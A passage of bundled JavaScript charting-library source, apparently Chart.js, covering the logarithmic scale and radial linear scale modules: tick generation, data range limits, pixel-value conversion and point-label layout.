me);\n\n\t\t\tme.handleDirectionalChanges();\n\n\t\t\t// At this point, we need to update our max and min given the tick values since we have expanded the\n\t\t\t// range of the scale\n\t\t\tme.max = helpers.max(ticks);\n\t\t\tme.min = helpers.min(ticks);\n\n\t\t\tif (tickOpts.reverse) {\n\t\t\t\tticks.reverse();\n\n\t\t\t\tme.start = me.max;\n\t\t\t\tme.end = me.min;\n\t\t\t} else {\n\t\t\t\tme.start = me.min;\n\t\t\t\tme.end = me.max;\n\t\t\t}\n\t\t},\n\t\tconvertTicksToLabels: function() {\n\t\t\tvar me = this;\n\t\t\tme.ticksAsNumbers = me.ticks.slice();\n\t\t\tme.zeroLineIndex = me.ticks.indexOf(0);\n\n\t\t\tChart.Scale.prototype.convertTicksToLabels.call(me);\n\t\t}\n\t});\n};\n\n},{\"45\":45}],56:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\nvar Ticks = require(34);\n\n/**\n * Generate a set of logarithmic ticks\n * @param generationOptions the options used to generate the ticks\n * @param dataRange the range of the data\n * @returns {Array<Number>} array of tick values\n */\nfunction generateTicks(generationOptions, dataRange) {\n\tvar ticks = [];\n\tvar valueOrDefault = helpers.valueOrDefault;\n\n\t// Figure out what the max number of ticks we can support it is based on the size of\n\t// the axis area. For now, we say that the minimum tick spacing in pixels must be 50\n\t// We also limit the maximum number of ticks to 11 which gives a nice 10 squares on\n\t// the graph\n\tvar tickVal = valueOrDefault(generationOptions.min, Math.pow(10, Math.floor(helpers.log10(dataRange.min))));\n\n\tvar endExp = Math.floor(helpers.log10(dataRange.max));\n\tvar endSignificand = Math.ceil(dataRange.max / Math.pow(10, endExp));\n\tvar exp, significand;\n\n\tif (tickVal === 0) {\n\t\texp = Math.floor(helpers.log10(dataRange.minNotZero));\n\t\tsignificand = Math.floor(dataRange.minNotZero / Math.pow(10, exp));\n\n\t\tticks.push(tickVal);\n\t\ttickVal = significand * Math.pow(10, exp);\n\t} else {\n\t\texp = Math.floor(helpers.log10(tickVal));\n\t\tsignificand = Math.floor(tickVal / Math.pow(10, exp));\n\t}\n\tvar precision = exp < 0 ? Math.pow(10, Math.abs(exp)) : 1;\n\n\tdo {\n\t\tticks.push(tickVal);\n\n\t\t++significand;\n\t\tif (significand === 10) {\n\t\t\tsignificand = 1;\n\t\t\t++exp;\n\t\t\tprecision = exp >= 0 ? 1 : precision;\n\t\t}\n\n\t\ttickVal = Math.round(significand * Math.pow(10, exp) * precision) / precision;\n\t} while (exp < endExp || (exp === endExp && significand < endSignificand));\n\n\tvar lastTick = valueOrDefault(generationOptions.max, tickVal);\n\tticks.push(lastTick);\n\n\treturn ticks;\n}\n\n\nmodule.exports = function(Chart) {\n\n\tvar defaultConfig = {\n\t\tposition: 'left',\n\n\t\t// label settings\n\t\tticks: {\n\t\t\tcallback: Ticks.formatters.logarithmic\n\t\t}\n\t};\n\n\tvar LogarithmicScale = Chart.Scale.extend({\n\t\tdetermineDataLimits: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar chart = me.chart;\n\t\t\tvar data = chart.data;\n\t\t\tvar datasets = data.datasets;\n\t\t\tvar isHorizontal = me.isHorizontal();\n\t\t\tfunction IDMatches(meta) {\n\t\t\t\treturn isHorizontal ? meta.xAxisID === me.id : meta.yAxisID === me.id;\n\t\t\t}\n\n\t\t\t// Calculate Range\n\t\t\tme.min = null;\n\t\t\tme.max = null;\n\t\t\tme.minNotZero = null;\n\n\t\t\tvar hasStacks = opts.stacked;\n\t\t\tif (hasStacks === undefined) {\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tif (hasStacks) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta) &&\n\t\t\t\t\t\tmeta.stack !== undefined) {\n\t\t\t\t\t\thasStacks = true;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif (opts.stacked || hasStacks) {\n\t\t\t\tvar valuesPerStack = {};\n\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tvar key = [\n\t\t\t\t\t\tmeta.type,\n\t\t\t\t\t\t// we have a separate stack for stack=undefined datasets when the opts.stacked is undefined\n\t\t\t\t\t\t((opts.stacked === undefined && meta.stack === undefined) ? datasetIndex : ''),\n\t\t\t\t\t\tmeta.stack\n\t\t\t\t\t].join('.');\n\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta)) {\n\t\t\t\t\t\tif (valuesPerStack[key] === undefined) {\n\t\t\t\t\t\t\tvaluesPerStack[key] = [];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\thelpers.each(dataset.data, function(rawValue, index) {\n\t\t\t\t\t\t\tvar values = valuesPerStack[key];\n\t\t\t\t\t\t\tvar value = +me.getRightValue(rawValue);\n\t\t\t\t\t\t\t// invalid, hidden and negative values are ignored\n\t\t\t\t\t\t\tif (isNaN(value) || meta.data[index].hidden || value < 0) {\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tvalues[index] = values[index] || 0;\n\t\t\t\t\t\t\tvalues[index] += value;\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\thelpers.each(valuesPerStack, function(valuesForType) {\n\t\t\t\t\tif (valuesForType.length > 0) {\n\t\t\t\t\t\tvar minVal = helpers.min(valuesForType);\n\t\t\t\t\t\tvar maxVal = helpers.max(valuesForType);\n\t\t\t\t\t\tme.min = me.min === null ? minVal : Math.min(me.min, minVal);\n\t\t\t\t\t\tme.max = me.max === null ? maxVal : Math.max(me.max, maxVal);\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t} else {\n\t\t\t\thelpers.each(datasets, function(dataset, datasetIndex) {\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\t\t\tif (chart.isDatasetVisible(datasetIndex) && IDMatches(meta)) {\n\t\t\t\t\t\thelpers.each(dataset.data, function(rawValue, index) {\n\t\t\t\t\t\t\tvar value = +me.getRightValue(rawValue);\n\t\t\t\t\t\t\t// invalid, hidden and negative values are ignored\n\t\t\t\t\t\t\tif (isNaN(value) || meta.data[index].hidden || value < 0) {\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (me.min === null) {\n\t\t\t\t\t\t\t\tme.min = value;\n\t\t\t\t\t\t\t} else if (value < me.min) {\n\t\t\t\t\t\t\t\tme.min = value;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (me.max === null) {\n\t\t\t\t\t\t\t\tme.max = value;\n\t\t\t\t\t\t\t} else if (value > me.max) {\n\t\t\t\t\t\t\t\tme.max = value;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (value !== 0 && (me.minNotZero === null || value < me.minNotZero)) {\n\t\t\t\t\t\t\t\tme.minNotZero = value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// Common base implementation to handle ticks.min, ticks.max\n\t\t\tthis.handleTickRangeOptions();\n\t\t},\n\t\thandleTickRangeOptions: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\t\t\tvar valueOrDefault = helpers.valueOrDefault;\n\t\t\tvar DEFAULT_MIN = 1;\n\t\t\tvar DEFAULT_MAX = 10;\n\n\t\t\tme.min = valueOrDefault(tickOpts.min, me.min);\n\t\t\tme.max = valueOrDefault(tickOpts.max, me.max);\n\n\t\t\tif (me.min === me.max) {\n\t\t\t\tif (me.min !== 0 && me.min !== null) {\n\t\t\t\t\tme.min = Math.pow(10, Math.floor(helpers.log10(me.min)) - 1);\n\t\t\t\t\tme.max = Math.pow(10, Math.floor(helpers.log10(me.max)) + 1);\n\t\t\t\t} else {\n\t\t\t\t\tme.min = DEFAULT_MIN;\n\t\t\t\t\tme.max = DEFAULT_MAX;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (me.min === null) {\n\t\t\t\tme.min = Math.pow(10, Math.floor(helpers.log10(me.max)) - 1);\n\t\t\t}\n\t\t\tif (me.max === null) {\n\t\t\t\tme.max = me.min !== 0\n\t\t\t\t\t? Math.pow(10, Math.floor(helpers.log10(me.min)) + 1)\n\t\t\t\t\t: DEFAULT_MAX;\n\t\t\t}\n\t\t\tif (me.minNotZero === null) {\n\t\t\t\tif (me.min > 0) {\n\t\t\t\t\tme.minNotZero = me.min;\n\t\t\t\t} else if (me.max < 1) {\n\t\t\t\t\tme.minNotZero = Math.pow(10, Math.floor(helpers.log10(me.max)));\n\t\t\t\t} else {\n\t\t\t\t\tme.minNotZero = DEFAULT_MIN;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tbuildTicks: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\t\t\tvar reverse = !me.isHorizontal();\n\n\t\t\tvar generationOptions = {\n\t\t\t\tmin: tickOpts.min,\n\t\t\t\tmax: tickOpts.max\n\t\t\t};\n\t\t\tvar ticks = me.ticks = generateTicks(generationOptions, me);\n\n\t\t\t// At this point, we need to update our max and min given the tick values since we have expanded the\n\t\t\t// range of the scale\n\t\t\tme.max = helpers.max(ticks);\n\t\t\tme.min = helpers.min(ticks);\n\n\t\t\tif (tickOpts.reverse) {\n\t\t\t\treverse = !reverse;\n\t\t\t\tme.start = me.max;\n\t\t\t\tme.end = me.min;\n\t\t\t} else {\n\t\t\t\tme.start = me.min;\n\t\t\t\tme.end = me.max;\n\t\t\t}\n\t\t\tif (reverse) {\n\t\t\t\tticks.reverse();\n\t\t\t}\n\t\t},\n\t\tconvertTicksToLabels: function() {\n\t\t\tthis.tickValues = this.ticks.slice();\n\n\t\t\tChart.Scale.prototype.convertTicksToLabels.call(this);\n\t\t},\n\t\t// Get the correct tooltip label\n\t\tgetLabelForIndex: function(index, datasetIndex) {\n\t\t\treturn +this.getRightValue(this.chart.data.datasets[datasetIndex].data[index]);\n\t\t},\n\t\tgetPixelForTick: function(index) {\n\t\t\treturn this.getPixelForValue(this.tickValues[index]);\n\t\t},\n\t\t/**\n\t\t * Returns the value of the first tick.\n\t\t * @param {Number} value - The minimum not zero value.\n\t\t * @return {Number} The first tick value.\n\t\t * @private\n\t\t */\n\t\t_getFirstTickValue: function(value) {\n\t\t\tvar exp = Math.floor(helpers.log10(value));\n\t\t\tvar significand = Math.floor(value / Math.pow(10, exp));\n\n\t\t\treturn significand * Math.pow(10, exp);\n\t\t},\n\t\tgetPixelForValue: function(value) {\n\t\t\tvar me = this;\n\t\t\tvar reverse = me.options.ticks.reverse;\n\t\t\tvar log10 = helpers.log10;\n\t\t\tvar firstTickValue = me._getFirstTickValue(me.minNotZero);\n\t\t\tvar offset = 0;\n\t\t\tvar innerDimension, pixel, start, end, sign;\n\n\t\t\tvalue = +me.getRightValue(value);\n\t\t\tif (reverse) {\n\t\t\t\tstart = me.end;\n\t\t\t\tend = me.start;\n\t\t\t\tsign = -1;\n\t\t\t} else {\n\t\t\t\tstart = me.start;\n\t\t\t\tend = me.end;\n\t\t\t\tsign = 1;\n\t\t\t}\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tinnerDimension = me.width;\n\t\t\t\tpixel = reverse ? me.right : me.left;\n\t\t\t} else {\n\t\t\t\tinnerDimension = me.height;\n\t\t\t\tsign *= -1; // invert, since the upper-left corner of the canvas is at pixel (0, 0)\n\t\t\t\tpixel = reverse ? me.top : me.bottom;\n\t\t\t}\n\t\t\tif (value !== start) {\n\t\t\t\tif (start === 0) { // include zero tick\n\t\t\t\t\toffset = helpers.getValueOrDefault(\n\t\t\t\t\t\tme.options.ticks.fontSize,\n\t\t\t\t\t\tChart.defaults.global.defaultFontSize\n\t\t\t\t\t);\n\t\t\t\t\tinnerDimension -= offset;\n\t\t\t\t\tstart = firstTickValue;\n\t\t\t\t}\n\t\t\t\tif (value !== 0) {\n\t\t\t\t\toffset += innerDimension / (log10(end) - log10(start)) * (log10(value) - log10(start));\n\t\t\t\t}\n\t\t\t\tpixel += sign * offset;\n\t\t\t}\n\t\t\treturn pixel;\n\t\t},\n\t\tgetValueForPixel: function(pixel) {\n\t\t\tvar me = this;\n\t\t\tvar reverse = me.options.ticks.reverse;\n\t\t\tvar log10 = helpers.log10;\n\t\t\tvar firstTickValue = me._getFirstTickValue(me.minNotZero);\n\t\t\tvar innerDimension, start, end, value;\n\n\t\t\tif (reverse) {\n\t\t\t\tstart = me.end;\n\t\t\t\tend = me.start;\n\t\t\t} else {\n\t\t\t\tstart = me.start;\n\t\t\t\tend = me.end;\n\t\t\t}\n\t\t\tif (me.isHorizontal()) {\n\t\t\t\tinnerDimension = me.width;\n\t\t\t\tvalue = reverse ? me.right - pixel : pixel - me.left;\n\t\t\t} else {\n\t\t\t\tinnerDimension = me.height;\n\t\t\t\tvalue = reverse ? pixel - me.top : me.bottom - pixel;\n\t\t\t}\n\t\t\tif (value !== start) {\n\t\t\t\tif (start === 0) { // include zero tick\n\t\t\t\t\tvar offset = helpers.getValueOrDefault(\n\t\t\t\t\t\tme.options.ticks.fontSize,\n\t\t\t\t\t\tChart.defaults.global.defaultFontSize\n\t\t\t\t\t);\n\t\t\t\t\tvalue -= offset;\n\t\t\t\t\tinnerDimension -= offset;\n\t\t\t\t\tstart = firstTickValue;\n\t\t\t\t}\n\t\t\t\tvalue *= log10(end) - log10(start);\n\t\t\t\tvalue /= innerDimension;\n\t\t\t\tvalue = Math.pow(10, log10(start) + value);\n\t\t\t}\n\t\t\treturn value;\n\t\t}\n\t});\n\tChart.scaleService.registerScaleType('logarithmic', LogarithmicScale, defaultConfig);\n\n};\n\n},{\"34\":34,\"45\":45}],57:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar helpers = require(45);\nvar Ticks = require(34);\n\nmodule.exports = function(Chart) {\n\n\tvar globalDefaults = defaults.global;\n\n\tvar defaultConfig = {\n\t\tdisplay: true,\n\n\t\t// Boolean - Whether to animate scaling the chart from the centre\n\t\tanimate: true,\n\t\tposition: 'chartArea',\n\n\t\tangleLines: {\n\t\t\tdisplay: true,\n\t\t\tcolor: 'rgba(0, 0, 0, 0.1)',\n\t\t\tlineWidth: 1\n\t\t},\n\n\t\tgridLines: {\n\t\t\tcircular: false\n\t\t},\n\n\t\t// label settings\n\t\tticks: {\n\t\t\t// Boolean - Show a backdrop to the scale label\n\t\t\tshowLabelBackdrop: true,\n\n\t\t\t// String - The colour of the label backdrop\n\t\t\tbackdropColor: 'rgba(255,255,255,0.75)',\n\n\t\t\t// Number - The backdrop padding above & below the label in pixels\n\t\t\tbackdropPaddingY: 2,\n\n\t\t\t// Number - The backdrop padding to the side of the label in pixels\n\t\t\tbackdropPaddingX: 2,\n\n\t\t\tcallback: Ticks.formatters.linear\n\t\t},\n\n\t\tpointLabels: {\n\t\t\t// Boolean - if true, show point labels\n\t\t\tdisplay: true,\n\n\t\t\t// Number - Point label font size in pixels\n\t\t\tfontSize: 10,\n\n\t\t\t// Function - Used to convert point labels\n\t\t\tcallback: function(label) {\n\t\t\t\treturn label;\n\t\t\t}\n\t\t}\n\t};\n\n\tfunction getValueCount(scale) {\n\t\tvar opts = scale.options;\n\t\treturn opts.angleLines.display || opts.pointLabels.display ? scale.chart.data.labels.length : 0;\n\t}\n\n\tfunction getPointLabelFontOptions(scale) {\n\t\tvar pointLabelOptions = scale.options.pointLabels;\n\t\tvar fontSize = helpers.valueOrDefault(pointLabelOptions.fontSize, globalDefaults.defaultFontSize);\n\t\tvar fontStyle = helpers.valueOrDefault(pointLabelOptions.fontStyle, globalDefaults.defaultFontStyle);\n\t\tvar fontFamily = helpers.valueOrDefault(pointLabelOptions.fontFamily, globalDefaults.defaultFontFamily);\n\t\tvar font = helpers.fontString(fontSize, fontStyle, fontFamily);\n\n\t\treturn {\n\t\t\tsize: fontSize,\n\t\t\tstyle: fontStyle,\n\t\t\tfamily: fontFamily,\n\t\t\tfont: font\n\t\t};\n\t}\n\n\tfunction measureLabelSize(ctx, fontSize, label) {\n\t\tif (helpers.isArray(label)) {\n\t\t\treturn {\n\t\t\t\tw: helpers.longestText(ctx, ctx.font, label),\n\t\t\t\th: (label.length * fontSize) + ((label.length - 1) * 1.5 * fontSize)\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tw: ctx.measureText(label).width,\n\t\t\th: fontSize\n\t\t};\n\t}\n\n\tfunction determineLimits(angle, pos, size, min, max) {\n\t\tif (angle === min || angle === max) {\n\t\t\treturn {\n\t\t\t\tstart: pos - (size / 2),\n\t\t\t\tend: pos + (size / 2)\n\t\t\t};\n\t\t} else if (angle < min || angle > max) {\n\t\t\treturn {\n\t\t\t\tstart: pos - size - 5,\n\t\t\t\tend: pos\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tstart: pos,\n\t\t\tend: pos + size + 5\n\t\t};\n\t}\n\n\t/**\n\t * Helper function to fit a radial linear scale with point labels\n\t */\n\tfunction fitWithPointLabels(scale) {\n\t\t/*\n\t\t * Right, this is really confusing and there is a lot of maths going on here\n\t\t * The gist of the problem is here: https://gist.github.com/nnnick/696cc9c55f4b0beb8fe9\n\t\t *\n\t\t * Reaction: https://dl.dropboxusercontent.com/u/34601363/toomuchscience.gif\n\t\t *\n\t\t * Solution:\n\t\t *\n\t\t * We assume the radius of the polygon is half the size of the canvas at first\n\t\t * at each index we check if the text overlaps.\n\t\t *\n\t\t * Where it does, we store that angle and that index.\n\t\t *\n\t\t * After finding the largest index and angle we calculate how much we need to remove\n\t\t * from the shape radius to move the point inwards by that x.\n\t\t *\n\t\t * We average the left and right distances to get the maximum shape radius that can fit in the box\n\t\t * along with labels.\n\t\t *\n\t\t * Once we have that, we can find the centre point for the chart, by taking the x text protrusion\n\t\t * on each side, removing that from the size, halving it and adding the left x protrusion width.\n\t\t *\n\t\t * This will mean we have a shape fitted to the canvas, as large as it can be with the labels\n\t\t * and position it in the most space efficient manner\n\t\t *\n\t\t * https://dl.dropboxusercontent.com/u/34601363/yeahscience.gif\n\t\t */\n\n\t\tvar plFont = getPointLabelFontOptions(scale);\n\n\t\t// Get maximum radius of the polygon. Either half the height (minus the text width) or half the width.\n\t\t// Use this to calculate the offset + change. - Make sure L/R protrusion is at least 0 to stop issues with centre points\n\t\tvar largestPossibleRadius = Math.min(scale.height / 2, scale.width / 2);\n\t\tvar furthestLimits = {\n\t\t\tr: scale.width,\n\t\t\tl: 0,\n\t\t\tt: scale.height,\n\t\t\tb: 0\n\t\t};\n\t\tvar furthestAngles = {};\n\t\tvar i, textSize, pointPosition;\n\n\t\tscale.ctx.font = plFont.font;\n\t\tscale._pointLabelSizes = [];\n\n\t\tvar valueCount = getValueCount(scale);\n\t\tfor (i = 0; i < valueCount; i++) {\n\t\t\tpointPosition = scale.getPointPosition(i, largestPossibleRadius);\n\t\t\ttextSize = measureLabelSize(scale.ctx, plFont.size, scale.pointLabels[i] || '');\n\t\t\tscale._pointLabelSizes[i] = textSize;\n\n\t\t\t// Add quarter circle to make degree 0 mean top of circle\n\t\t\tvar angleRadians = scale.getIndexAngle(i);\n\t\t\tvar angle = helpers.toDegrees(angleRadians) % 360;\n\t\t\tvar hLimits = determineLimits(angle, pointPosition.x, textSize.w, 0, 180);\n\t\t\tvar vLimits = determineLimits(angle, pointPosition.y, textSize.h, 90, 270);\n\n\t\t\tif (hLimits.start < furthestLimits.l) {\n\t\t\t\tfurthestLimits.l = hLimits.start;\n\t\t\t\tfurthestAngles.l = angleRadians;\n\t\t\t}\n\n\t\t\tif (hLimits.end > furthestLimits.r) {\n\t\t\t\tfurthestLimits.r = hLimits.end;\n\t\t\t\tfurthestAngles.r = angleRadians;\n\t\t\t}\n\n\t\t\tif (vLimits.start < furthestLimits.t) {\n\t\t\t\tfurthestLimits.t = vLimits.start;\n\t\t\t\tfurthestAngles.t = angleRadians;\n\t\t\t}\n\n\t\t\tif (vLimits.end > furthestLimits.b) {\n\t\t\t\tfurthestLimits.b = vLimits.end;\n\t\t\t\tfurthestAngles.b = angleRadians;\n\t\t\t}\n\t\t}\n\n\t\tscale.setReductions(largestPossibleRadius, furthestLimits, furthestAngles);\n\t}\n\n\t/**\n\t * Helper function to fit a radial linear scale with no point labels\n\t */\n\tfunction fit(scale) {\n\t\tvar largestPossibleRadius = Math.min(scale.height / 2, scale.width / 2);\n\t\tscale.drawingArea = Math.round(largestPossibleRadius);\n\t\tscale.setCenterPoint(0, 0, 0, 0);\n\t}\n\n\tfunction getTextAlignForAngle(angle) {\n\t\tif (angle === 0 || angle === 180) {\n\t\t\treturn 'center';\n\t\t} else if (angle < 180) {\n\t\t\treturn 'left';\n\t\t}\n\n\t\treturn 'right';\n\t}\n\n\tfunction fillText(ctx, text, position, fontSize) {\n\t\tif (helpers.isArray(text)) {\n\t\t\tvar y = position.y;\n\t\t\tvar spacing = 1.5 * fontSize;\n\n\t\t\tfor (var i = 0; i < text.length; ++i) {\n\t\t\t\tctx.fillText(text[i], position.x, y);\n\t\t\t\ty += spacing;\n\t\t\t}\n\t\t} else {\n\t\t\tctx.fillText(text, position.x, position.y);\n\t\t}\n\t}\n\n\tfunction adjustPointPositionForLabelHeight(angle, textSize, position) {\n\t\tif (angle === 90 || angle === 270) {\n\t\t\tposition.y -= (textSize.h / 2);\n\t\t} else if (angle > 270 || angle < 90) {\n\t\t\tposition.y -= textSize.h;\n\t\t}\n\t}\n\n\tfunction drawPointLabels(scale) {\n\t\tvar ctx = scale.ctx;\n\t\tvar opts = scale.options;\n\t\tvar angleLineOpts = opts.angleLines;\n\t\tvar pointLabelOpts = opts.pointLabels;\n\n\t\tctx.lineWidth = angleLineOpts.lineWidth;\n\t\tctx.strokeStyle = angleLineOpts.color;\n\n\t\tvar outerDistance = scale.getDistanceFromCenterForValue(opts.ticks.reverse ? scale.min : scale.max);\n\n\t\t// Point Label Font\n\t\tvar plFont = getPointLabelFontOptions(scale);\n\n\t\tctx.textBaseline = 'top';\n\n\t\tfor (var i = getValueCount(scale) - 1; i >= 0; i--) {\n\t\t\tif (angleLineOpts.display) {\n\t\t\t\tvar outerPosition = scale.getPointPosition(i, outerDistance);\n\t\t\t\tctx.beginPath();\n\t\t\t\tctx.moveTo(scale.xCenter, scale.yCenter);\n\t\t\t\tctx.lineTo(outerPosition.x, outerPosition.y);\n\t\t\t\tctx.stroke();\n\t\t\t\tctx.closePath();\n\t\t\t}\n\n\t\t\tif (pointLabelOpts.display) {\n\t\t\t\t// Extra 3px out for some label spacing\n\t\t\t\tvar pointLabelPosition = scale.getPointPosition(i, outerDistance + 5);\n\n\t\t\t\t// Keep this in loop since we may support array properties here\n\t\t\t\tvar pointLabelFontColor = helpers.valueAtIndexOrDefault(pointLabelOpts.fontColor, i, globalDefaults.defaultFontColor);\n\t\t\t\tctx.font = plFont.font;\n\t\t\t\tctx.fillStyle = pointLabelFontColor;\n\n\t\t\t\tvar angleRadians = scale.getIndexAngle(i);\n\t\t\t\tvar angle = helpers.toDegrees(angleRadians);\n\t\t\t\tctx.textAlign = getTextAlignForAngle(angle);\n\t\t\t\tadjustPointPositionForLabelHeight(angle, scale._pointLabelSizes[i], pointLabelPosition);\n\t\t\t\tfillText(ctx, scale.pointLabels[i] || '', pointLabelPosition, plFont.size);\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction drawRadiusLine(scale, gridLineOpts, radius, index) {\n\t\tvar ctx = scale.ctx;\n\t\tctx.strokeStyle = helpers.valueAtIndexOrDefault(gridLineOpts.color, index - 1);\n\t\tctx.lineWidth = helpers.valueAtIndexOrDefault(gridLineOpts.lineWidth, index - 1);\n\n\t\tif (scale.options.gridLines.circular) {\n\t\t\t// Draw circular arcs between the points\n\t\t\tctx.beginPath();\n\t\t\tctx.arc(scale.xCenter, scale.yCenter, radius, 0, Math.PI * 2);\n\t\t\tctx.closePath();\n\t\t\tctx.stroke();\n\t\t} else {\n\t\t\t// Draw straight lines connecting each index\n\t\t\tvar valueCount = getValueCount(scale);\n\n\t\t\tif (valueCount === 0) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tctx.beginPath();\n\t\t\tvar pointPosition = scale.getPointPosition(0, radius);\n\t\t\tctx.moveTo(pointPosition.x, pointPosition.y);\n\n\t\t\tfor (var i = 1; i < valueCount; i++) {\n\t\t\t\tpointPosition = scale.getPointPosition(i, radius);\n\t\t\t\tctx.lineTo(pointPosition.x, pointPosition.y);\n\t\t\t}\n\n\t\t\tctx.closePath();\n\t\t\tctx.stroke();\n\t\t}\n\t}\n\n\tfunction numberOrZero(param) {\n\t\treturn helpers.isNumber(param) ? param : 0;\n\t}\n\n\tvar LinearRadialScale = Chart.LinearScaleBase.extend({\n\t\tsetDimensions: function() {\n\t\t\tvar me = this;\n\t\t\tvar opts = me.options;\n\t\t\tvar tickOpts = opts.ticks;\n\t\t\t// Set the unconstrained dimension before label rotation\n\t\t\tme.width = me.maxWidth;\n\t\t\tme.height = me.maxHeight;\n\t\t\tme.xCenter = Math.round(me.width / 2);\n\t\t\tme.yCenter = Math.round(me.height / 2);\n\n\t\t\tvar minSize = helpers.min([me.height, me.width]);\n\t\t\tvar tickFontSize = helpers.valueOrDefault(tickOpts.fontSize, globalDefaults.defaultFontSize);\n\t\t\tme.drawingArea = opts.display ? (minSize / 2) - (tickFontSize / 2 + tickOpts.backdropPaddingY) : (minSize / 2);\n\t\t},\n\t\tdetermineDataLimits: function() {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar min = Number.POSITIVE_INFINITY;\n\t\t\tvar max = Number.NEGATIVE_INFINITY;\n\n\t\t\thelpers.each(chart.data.datasets, function(dataset, datasetIndex) {\n\t\t\t\tif (chart.isDatasetVisible(datasetIndex)) {\n\t\t\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\n\t\t\t\t\thelpers.each(dataset.data, function(rawValue, index) {\n\t\t\t\t\t\tvar value = +me.getRightValue(rawValue);\n\t\t\t\t\t\tif (isNaN(value) || meta.data[index].hidden) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tmin = Math.min(value, min);\n\t\t\t\t\t\tmax = Math.max(value, max);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tme.min = (min === Number.POSITIVE_INFINITY ? 0 : min);\n\t\t\tme.max = (max === Number.NEGATIVE_INFINITY ? 0 : max);\n\n\t\t\t// Common base implementation to handle ticks.min, ticks.max, ticks.beginAtZero\n\t\t\tme.handleTickRangeOptions();\n\t\t},\n\t\tgetTickLimit: function() {\n\t\t\tvar tickOpts = this.options.ticks;\n\t\t\tvar tickFontSize = helpers.valueOrDefault(tickOpts.fontSize, globalDefaults.defaultFontSize);\n\t\t\treturn Math.min(tickOpts.maxTicksLimit ? tickOpts.maxTicksLimit : 11, Math.ceil(this.drawingArea / (1.5 * tickFontSize)));\n\t\t},\n\t\tconvertTicksToLabels: function() {\n\t\t\tvar me = this;\n\n\t\t\tChart.LinearScaleBase.prototype.convertTicksToLabels.call(me);\n\n\t\t\t// Point labels\n\t\t\tme.pointLabels = me.chart.data.labels.map(me.options.pointLabels.callback, me);\n\t\t},\n\t\tgetLabelForIndex: function(index, datasetIndex) {\n\t\t\treturn +this.getRightValue(this.chart.data.datasets[datasetIndex].data[index]);\n\t\t},\n\t\tfit: function() {\n\t\t\tif (this.options.pointLabels.display) {\n\t\t\t\tfitWithPointLabels(this);\n\t\t\t} else {\n\t\t\t\tfit(this);\n\t\t\t}\n\t\t},\n\t\t/**\n\t\t * Set radius reductions and determine new radius and center point\n\t\t * @private\n\t\t */\n\t\tsetReductions: function(largestPossibleRadius, furthestLimits, furthestAngles) {\n\t\t\tvar me = this;\n\t\t\tvar radiusReductionLeft = furthestLimits.l / Math.sin(furthestAngles.l);\n\t\t\tvar radiusReductionRight = Math.max(furthestLimits.r - me.width, 0) / Math.sin(furthestAngles.r);\n\t\t\tvar radiusReductionTop = -furthestLimits.t / Math.cos(furthestAngles.t);\n\t\t\tvar radiusReductionBottom = -Math.max(furthestLimits.b - me.height, 0) / Math.cos(furthestAngles.b);\n\n\t\t\tradiusReductionLeft = numberOrZero(radiusReductionLeft);\n\t\t\tradiusReductionRight = numberOrZero(radiusReductionRight);\n\t\t\tradiusReductionTop = numberOrZero(radiusReductionTop);\n\t\t\tradiusReductionBottom = numberOrZero(radiusReductionBottom);\n\n\t\t\tme.drawingArea = Math.min(\n\t\t\t\tMath.round(largestPossibleRadius - (radiusReductionLeft + radiusReductionRight) / 2),\n\t\t\t\tMath.round(largestPossibleRadius - (radiusReductionTop + radiusReductionBottom) / 2));\n\t\t\tme.setCenterPoint(radiusReductionLeft, radiusReductionRight, radiusReductionTop, radiusReductionBottom);\n\t\t},\n\t\tsetCenterPoint: function(leftMovement, rightMovement, topMovement, bottomMovement) {\n\t\t\tvar me = this;\n\t\t\tvar maxRight = me.width - rightMovement - me.drawingArea;\n\t\t\tvar maxLeft = leftMovement + me.drawingArea;\n\t\t\tvar maxTop = topMovement + me.drawingArea;\n\t\t\tvar maxBottom = me.height - bottomMovement - me.drawingArea;\n\n\t\t\tme.xCenter = Math.round(((maxLeft + maxRight) / 2) + me.left);\n\t\t\tme.yCenter = Math.round(((maxTop + maxBottom) / 2) + me.top);\n\t\t},\n\n\t\tgetIndexAngle: 